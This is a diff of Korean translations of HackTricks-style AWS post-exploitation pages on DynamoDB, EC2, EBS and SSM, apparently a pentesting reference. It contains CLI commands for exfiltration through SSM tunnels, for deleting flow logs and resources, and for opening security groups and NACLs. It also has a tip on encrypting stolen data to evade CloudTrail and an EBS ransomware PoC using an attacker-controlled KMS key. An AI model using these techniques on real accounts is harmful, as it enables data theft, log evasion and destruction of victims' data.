항목에 이미 TTL 속성이 없는 경우, 공격자는 TTL 속성을 추가하고 대량 삭제를 유발하기 위해 항목을 업데이트할 수 있는 권한(예: dynamodb:UpdateItem)이 추가로 필요합니다.
|
||||
|
||||
먼저 테이블에서 TTL을 활성화하고 만료에 사용할 속성 이름을 지정합니다:
|
||||
우선 테이블에서 TTL을 활성화하고 만료에 사용할 속성 이름을 지정합니다:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
그런 다음 항목을 업데이트해 TTL 속성(epoch seconds)을 추가하면 만료되어 제거됩니다:
|
||||
그런 다음 항목을 업데이트하여 TTL attribute (epoch seconds)를 추가하여 만료되어 제거되도록 합니다:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
@@ -550,7 +550,7 @@ aws dynamodb update-item \
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
dynamodb:RestoreTableFromAwsBackup 또는 dynamodb:RestoreTableToPointInTime 권한을 가진 공격자는 원본 테이블을 덮어쓰지 않고 백업이나 point-in-time recovery (PITR)에서 복원된 새 테이블을 생성할 수 있습니다. 복원된 테이블에는 선택한 시점의 데이터 전체 이미지가 포함되어 있으므로, 공격자는 이를 사용해 historical information을 exfiltrate하거나 데이터베이스의 과거 상태 전체 덤프를 얻을 수 있습니다.
|
||||
dynamodb:RestoreTableFromAwsBackup 또는 dynamodb:RestoreTableToPointInTime 권한을 가진 공격자는 원본 테이블을 덮어쓰지 않고 백업이나 point-in-time recovery (PITR)에서 복원된 새 테이블을 생성할 수 있습니다. 복원된 테이블은 선택한 시점의 데이터 전체 이미지를 포함하므로, 공격자는 이를 사용해 과거 정보를 exfiltrate하거나 데이터베이스의 과거 상태 전체 덤프를 얻을 수 있습니다.
|
||||
|
||||
Restore a DynamoDB table from an on-demand backup:
|
||||
```bash
|
||||
@@ -567,6 +567,6 @@ aws dynamodb restore-table-to-point-in-time \
|
||||
````
|
||||
</details>
|
||||
|
||||
**잠재적 영향:** 테이블에 대한 직접 읽기 작업 없이 공격자 제어의 Kinesis 스트림으로 테이블 변경 사항을 지속적이고 거의 실시간으로 exfiltration할 수 있음.
|
||||
**잠재적 영향:** 테이블에 대한 직접적인 읽기 작업 없이 지속적이고 거의 실시간으로 테이블 변경사항을 attacker-controlled Kinesis stream으로 exfiltration.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,8 @@
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring은 **VPC 내의 EC2 인스턴스에 대한 인바운드 및 아웃바운드 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 network intrusion detection system (IDS) 같은 곳으로 전송됩니다. attacker는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:
|
||||
VPC 트래픽 미러링은 인스턴스에 별도의 소프트웨어를 설치할 필요 없이 **VPC 내의 EC2 인스턴스에 대한 들어오고 나가는 트래픽을 복제**합니다. 이 복제된 트래픽은 보통 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS) 같은 곳으로 전송됩니다.\
|
||||
공격자는 이를 악용해 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:
|
||||
|
||||
자세한 내용은 다음 페이지를 확인하세요:
|
||||
|
||||
@@ -22,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
인스턴스에는 보통 민감한 정보가 포함되어 있습니다. 내부로 접근하는 방법은 여러 가지가 있습니다 (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 그러나 또 다른 방법은 **AMI를 생성하고 해당 AMI로(심지어 자신의 계정에서) 새 인스턴스를 실행**해 그 내용을 확인하는 것입니다:
|
||||
인스턴스에는 일반적으로 어떤 형태로든 민감한 정보가 포함되어 있습니다. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 그러나, 인스턴스의 내용을 확인하는 또 다른 방법은 **AMI를 생성하고 해당 AMI로부터 새 인스턴스(심지어 자신의 계정에서도)를 실행하는 것**입니다:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -46,10 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
### EBS 스냅샷 덤프
|
||||
### EBS Snapshot dump
|
||||
|
||||
**스냅샷은 볼륨의 백업**으로, 보통 **민감한 정보를** 포함하므로 이를 확인하면 해당 정보가 드러납니다.\
|
||||
스냅샷이 없는 **볼륨**을 찾으면: **스냅샷을 생성**하고 다음 작업을 수행하거나 계정 내 인스턴스에 단순히 **마운트**할 수 있습니다:
|
||||
**Snapshots are backups of volumes**, 일반적으로 **민감한 정보**를 포함할 가능성이 높으므로 이를 확인하면 해당 정보가 드러날 수 있습니다.\
|
||||
만약 **volume without a snapshot**을 발견하면, **Create a snapshot**을 생성하고 아래 동작을 수행하거나 계정 내 인스턴스에 단순히 **mount it in an instance** 하십시오:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -57,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
EC2 AMI를 `CreateStoreImageTask`로 바로 S3로 내보내 스냅샷 공유 없이 원시 디스크 이미지를 얻습니다. 이렇게 하면 인스턴스 네트워킹을 건드리지 않고 전체 오프라인 포렌식이나 데이터 탈취가 가능합니다.
|
||||
EC2 AMI를 `CreateStoreImageTask`를 사용해 바로 S3로 export하면 스냅샷 공유 없이 raw 디스크 이미지를 획득할 수 있습니다. 이는 인스턴스 네트워킹을 건드리지 않으면서 완전한 오프라인 포렌식이나 데이터 도용을 가능하게 합니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -65,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
io1/io2 Multi-Attach 볼륨을 두 번째 인스턴스에 연결하고 읽기 전용으로 마운트하여 스냅샷 없이 실시간 데이터를 추출합니다. 피해 볼륨이 동일 AZ 내에서 이미 Multi-Attach가 활성화된 경우 유용합니다.
|
||||
io1/io2 Multi-Attach volume을 두 번째 인스턴스에 연결하고 읽기 전용으로 마운트하여 스냅샷 없이 실시간 데이터를 유출할 수 있습니다. 피해자 volume이 이미 같은 AZ 내에서 Multi-Attach가 활성화되어 있을 때 유용합니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -73,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
EC2 Instance Connect Endpoint를 생성하고 인그레스 권한을 부여한 뒤 일시적 SSH 키를 주입하여 관리형 터널을 통해 프라이빗 인스턴스에 접근합니다. 공개 포트를 열지 않고도 빠른 횡적 이동 경로를 제공합니다.
|
||||
EC2 Instance Connect Endpoint를 생성하고 ingress를 허용한 뒤, 일시적인 SSH 키를 주입하여 관리형 터널을 통해 private 인스턴스에 접근할 수 있습니다. 공용 포트를 열지 않고도 빠른 lateral movement 경로를 제공합니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -81,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
피해 ENI의 보조 private IP를 공격자 제어 ENI로 이동시켜 IP로 허용된 신뢰된 호스트를 사칭할 수 있습니다. 특정 주소에 의해 동작하는 내부 ACL 또는 SG 규칙을 우회하는 데 사용됩니다.
|
||||
피해자 ENI의 secondary private IP를 공격자 제어 ENI로 옮겨 IP로 allowlisted된 신뢰된 호스트를 가장할 수 있습니다. 특정 주소에 기반한 내부 ACL 또는 SG 규칙을 우회할 수 있게 합니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -89,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
피해 인스턴스에서 Elastic IP를 공격자에게 재연결하여 수신 트래픽을 가로채거나 신뢰된 공용 IP로부터 발생한 것처럼 보이는 발신 연결을 생성합니다.
|
||||
피해자 인스턴스의 Elastic IP를 공격자로 재연결하여 인바운드 트래픽을 가로채거나 신뢰된 공인 IP에서 나온 것처럼 보이는 아웃바운드 연결을 생성할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -97,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
만약 security group 규칙이 고객 관리형 prefix list를 참조하는 경우, 공격자 CIDR을 해당 리스트에 추가하면 SG 자체를 수정하지 않고도 모든 의존 규칙에 대해 접근 권한이 은밀하게 확장됩니다.
|
||||
Security group 규칙이 customer-managed prefix list를 참조하는 경우, 공격자 CIDR을 해당 리스트에 추가하면 SG 자체를 수정하지 않고도 모든 종속 SG 규칙에 대한 접근 권한이 조용히 확장됩니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -105,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
게이트웨이 또는 인터페이스 VPC endpoint를 생성하여 격리된 서브넷에서 아웃바운드 접근을 복구합니다. AWS-managed private links를 활용하면 IGW/NAT 제어가 없을 때에도 data exfiltration을 우회할 수 있습니다.
|
||||
gateway 또는 interface VPC endpoints를 생성하여 격리된 서브넷에서 아웃바운드 접근을 복구할 수 있습니다. AWS-managed private links를 활용하면 데이터 유출을 위해 누락된 IGW/NAT 제어를 우회할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -113,12 +114,13 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
ec2:AuthorizeSecurityGroupIngress 권한을 가진 공격자는 security group에 인바운드 규칙을 추가할 수 있습니다(예: 0.0.0.0/0에서 tcp:80 허용). 그 결과 내부 서비스를 공개 인터넷이나 권한 없는 네트워크에 노출시킬 수 있습니다.
|
||||
ec2:AuthorizeSecurityGroupIngress 권한을 가진 공격자는 security groups에 인바운드 규칙을 추가할 수 있으며(예: tcp:80을 0.0.0.0/0에서 허용), 이로 인해 내부 서비스가 공용 Internet이나 기타 허가되지 않은 네트워크에 노출될 수 있습니다.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
ec2:ReplaceNetworkAclEntry (또는 유사한) 권한을 가진 공격자는 서브넷의 Network ACLs (NACLs)을 수정하여 매우 허용적으로 만들 수 있습니다 — 예를 들어 중요한 포트에 0.0.0.0/0을 허용해 서브넷 전체 범위를 인터넷이나 권한 없는 네트워크 세그먼트에 노출시킬 수 있습니다. 인스턴스별로 적용되는 Security Groups와 달리, NACLs는 서브넷 수준에서 적용되므로 제한적인 NACL을 변경하면 훨씬 더 많은 호스트에 대한 접근을 허용해 더 큰 blast radius를 초래할 수 있습니다.
|
||||
`ec2:ReplaceNetworkAclEntry` (또는 유사 권한)을 가진 공격자는 subnet의 Network ACLs (NACLs)을 수정해 매우 관대하게 만들 수 있습니다 — 예를 들어 중요한 포트에 0.0.0.0/0을 허용하여 — 서브넷 전체 범위를 Internet 또는 권한 없는 네트워크 세그먼트에 노출시킬 수 있습니다.
|
||||
인스턴스별로 적용되는 Security Groups와 달리, NACLs는 서브넷 수준에서 적용되므로 제한적인 NACL을 변경하면 훨씬 더 많은 호스트에 대한 접근을 허용해 큰 영향 범위를 초래할 수 있습니다.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -130,16 +132,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
ec2:Delete* 및 iam:Remove* 권한을 가진 공격자는 핵심 인프라 리소스와 구성을 삭제할 수 있습니다 — 예를 들어 key pairs, launch templates/versions, AMIs/snapshots, volumes 또는 attachments, security groups 또는 규칙, ENIs/network endpoints, route tables, gateways 또는 managed endpoints 등을 삭제할 수 있습니다. 이는 즉각적인 서비스 중단, 데이터 손실 및 포렌식 증거 손실을 초래할 수 있습니다.
|
||||
ec2:Delete* 및 iam:Remove* 권한을 가진 공격자는 key pairs, launch templates/versions, AMIs/snapshots, volumes 또는 attachments, security groups 또는 rules, ENIs/network endpoints, route tables, gateways, managed endpoints 등 중요한 인프라 리소스 및 구성들을 삭제할 수 있습니다. 이는 즉각적인 서비스 중단, 데이터 손실 및 포렌식 증거 손실을 초래할 수 있습니다.
|
||||
|
||||
한 예로 security group을 삭제하는 경우:
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
VPC Flow Logs를 공격자가 제어하는 S3 버킷으로 향하게 하여 피해자 계정 밖에서 네트워크 메타데이터(source/destination, ports)를 지속적으로 수집함으로써 장기적인 정찰을 수행할 수 있습니다.
|
||||
VPC Flow Logs를 공격자가 제어하는 S3 버킷으로 지정하면 대상 계정 외부에 네트워크 메타데이터(출발지/목적지, 포트)를 장기간 지속적으로 수집하여 정찰할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -149,32 +151,32 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
EC2에서 나가는 트래픽을 차단하더라도, 여전히 **exfil via DNS**가 가능합니다.
|
||||
EC2에서 외부로 나가는 트래픽을 차단해도, 여전히 **exfil via DNS**가 발생할 수 있습니다.
|
||||
|
||||
- **VPC Flow Logs은 이를 기록하지 않습니다**.
|
||||
- AWS DNS 로그에 대한 접근 권한이 없습니다.
|
||||
- 이를 비활성화하려면 "enableDnsSupport"를 false로 설정하세요:
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- AWS DNS 로그에는 접근할 수 없습니다.
|
||||
- 다음 명령으로 "enableDnsSupport"를 false로 설정하여 이를 비활성화하세요:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며, 공격자는 Cloudtrail 로그에서 exfiltrate된 데이터를 확인할 수 있습니다.
|
||||
공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.
|
||||
|
||||
### Open Security Group
|
||||
### 보안 그룹 개방
|
||||
|
||||
다음과 같이 포트를 열면 네트워크 서비스에 추가로 접근할 수 있습니다:
|
||||
다음과 같이 포트를 열면 네트워크 서비스에 더 접근할 수 있습니다:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
EC2 instance를 실행하고 등록하여 ECS instances를 실행하는 데 사용하도록 한 다음 ECS instances의 데이터를 탈취할 수 있습니다.
|
||||
EC2 인스턴스를 실행하고 ECS 인스턴스 실행에 사용되도록 등록한 다음 ECS 인스턴스의 데이터를 탈취할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**여기에서 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
자세한 내용은 [**여기**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs)를 확인하세요.
|
||||
|
||||
### VPC flow logs 삭제
|
||||
### VPC flow logs 제거
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -184,19 +186,19 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
명령 실행 외에도, SSM은 트래픽 터널링을 허용하여 Security Groups나 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 이를 악용해 pivoting할 수 있습니다.
|
||||
이것이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 프라이빗 EKS 클러스터로 pivoting하는 경우입니다.
|
||||
명령 실행 외에도, SSM은 트래픽 터널링을 허용하여 Security Groups 또는 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 pivot하는 데 악용될 수 있습니다.
|
||||
이것이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 프라이빗 EKS 클러스터로 pivot하는 경우입니다.
|
||||
|
||||
> 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. 자신의 머신에 SessionManagerPlugin을 설치하세요
|
||||
2. 다음 명령으로 Bastion EC2에 로그인하세요:
|
||||
1. 로컬 머신에 SessionManagerPlugin을 설치합니다
|
||||
2. 다음 명령어를 사용해 Bastion EC2에 로그인합니다:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용해 Bastion EC2의 AWS 임시 자격증명을 얻습니다
|
||||
4. 자격증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 전송합니다
|
||||
5. Bastion EC2로 EKS에 로그인합니다:
|
||||
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 Bastion EC2의 AWS 임시 자격 증명을 얻습니다
|
||||
4. 자격 증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 옮깁니다
|
||||
5. Bastion EC2로 EKS에 로그인:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
@@ -205,26 +207,26 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl` 툴의 트래픽이 이제 Bastion EC2를 경유한 SSM 터널을 통해 전달되며, 다음 명령을 실행하면 로컬 머신에서 private EKS cluster에 접근할 수 있습니다:
|
||||
8. `kubectl` 도구의 트래픽은 이제 Bastion EC2를 통해 SSM 터널로 전달되며, 다음을 실행하면 자신의 머신에서 비공개 EKS 클러스터에 접근할 수 있습니다:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). 트래픽이 안전한 AWS SSM 터널을 통해 터널링되므로 어떠한 MitM 공격으로부터도 안전합니다.
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
마지막으로, 이 기법은 private EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 피벗할 수 있습니다.
|
||||
마지막으로, 이 기법은 private EKS clusters를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정해 다른 AWS 서비스나 커스텀 애플리케이션으로 피벗할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
만약 **EC2 인스턴스에서 로컬 호스트로 하나의 TCP 포트만 포워딩**하면 된다면 `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다 (원격 호스트 파라미터 불필요):
|
||||
만약 **one TCP port from the EC2 instance to your local host**만 전달하면, `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다(원격 호스트 파라미터 불필요):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
이 명령은 워크스테이션(`localPortNumber`)과 인스턴스의 선택한 포트(`portNumber`) 간에 **without opening any inbound Security-Group rules** 상태로 양방향 터널을 설정합니다.
|
||||
|
||||
Common use cases:
|
||||
|
||||
@@ -235,13 +237,13 @@ Common use cases:
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. 로컬 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다:
|
||||
2. 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **내부 웹 애플리케이션에 접근 (예: Nessus)**
|
||||
* **내부 웹 애플리케이션 접근(예: Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -249,7 +251,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
팁: 증거를 exfiltrating하기 전에 압축하고 암호화하여 CloudTrail이 clear-text 내용을 로그에 남기지 않도록 하세요:
|
||||
팁: exfiltrating하기 전에 증거를 Compress하고 encrypt하여 CloudTrail이 clear-text content를 기록하지 않도록 하세요:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -260,7 +262,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### 공개 및 비공개 AMIs에서 민감한 정보 검색
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공개 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색**하도록 설계된 도구입니다. 대상 AMIs에서 instances를 실행하고, volumes를 마운트하며, 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공개 Amazon Machine Images (AMIs) 내의 민감한 정보를 검색하도록 설계된 도구입니다.** 대상 AMIs로부터 인스턴스를 실행하고, 그 볼륨을 마운트하며, 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다.
|
||||
|
||||
### EBS Snapshot 공유
|
||||
```bash
|
||||
@@ -268,9 +270,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
S3 post-exploitation 노트에 시연된 Ransomware 데모와 유사한 PoC입니다. KMS는 여러 AWS 서비스를 손쉽게 암호화하는 용도로 쓰이므로 Ransomware Management Service라는 의미에서 RMS로 이름을 바꿔야 할 정도입니다.
|
||||
S3 post-exploitation notes에 시연된 Ransomware 데모와 유사한 PoC입니다. KMS는 다양한 AWS 서비스를 쉽게 암호화할 수 있으므로 Ransomware Management Service(RMS)로 이름을 바꿔야 합니다.
|
||||
|
||||
먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 했지만, 현실적인 시나리오에서는 malicious actor가 키 데이터를 AWS의 통제 밖에 보관할 것입니다. 키 정책을 변경하여 모든 AWS 계정 Principal이 해당 키를 사용할 수 있도록 허용합니다. 이 키 정책에서 계정 이름은 'AttackSim'이며 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'입니다.
|
||||
먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 했지만, 현실적인 시나리오에서는 악의적인 행위자가 키 데이터를 AWS의 제어 밖에 보관할 것입니다. key policy를 변경하여 모든 AWS 계정 Principal이 키를 사용하도록 허용하세요. 이 key policy에서 계정의 이름은 'AttackSim'이었고, 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 불립니다.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -362,7 +364,7 @@ S3 post-exploitation 노트에 시연된 Ransomware 데모와 유사한 PoC입
|
||||
]
|
||||
}
|
||||
```
|
||||
EBS 볼륨을 암호화하는 데 이 키 정책 규칙을 사용하려면 다음 항목들이 활성화되어 있어야 합니다:
|
||||
키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용할 수 있도록 다음을 활성화해야 합니다:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -370,21 +372,21 @@ EBS 볼륨을 암호화하는 데 이 키 정책 규칙을 사용하려면 다
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
이제 공개적으로 접근 가능한 키를 사용할 수 있게 되었습니다. 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 몇 대 있는 'victim' 계정을 이용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨들이 우리가 암호화하려는 대상이며, 이 공격은 높은 권한을 가진 AWS 계정이 침해된 것으로 가정하고 진행합니다.
|
||||
이제 사용할 수 있는 공개적으로 접근 가능한 키가 있으므로, 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스들이 실행 중인 'victim' 계정을 사용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨이 우리가 암호화 대상으로 삼는 것입니다. 이 공격은 고권한 AWS 계정의 침해가 가정된 상황에서 수행됩니다.
|
||||
|
||||
 
|
||||
|
||||
S3 ransomware 예시와 유사하게, 이 공격은 연결된 EBS 볼륨의 복사본을 snapshots를 이용해 생성하고, 'attacker' 계정의 공개 가능한 키로 새 EBS 볼륨을 암호화한 다음 원본 EBS 볼륨을 EC2 인스턴스에서 분리(detach)하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용한 snapshots를 삭제합니다. 
|
||||
S3 ransomware 예와 유사합니다. 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 만들고, 'attacker' 계정의 공개 키를 사용해 새 EBS 볼륨을 암호화한 다음 원래의 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. 
|
||||
|
||||
그 결과 계정에는 암호화된 EBS 볼륨만 남게 됩니다.
|
||||
그 결과 해당 계정에는 암호화된 EBS 볼륨만 남게 됩니다.
|
||||
|
||||

|
||||
|
||||
또한 주목할 점은, 스크립트가 원본 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스를 중지했다는 것입니다. 원본의 암호화되지 않은 볼륨들은 이제 사라졌습니다.
|
||||
또한 주목할 점은, 스크립트가 원래 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지시켰다는 것입니다. 원래의 암호화되지 않은 볼륨들은 이제 사라졌습니다.
|
||||
|
||||

|
||||
|
||||
다음으로 'attacker' 계정의 키 정책으로 돌아가 'Outside Encryption' 정책 규칙을 키 정책에서 제거하세요.
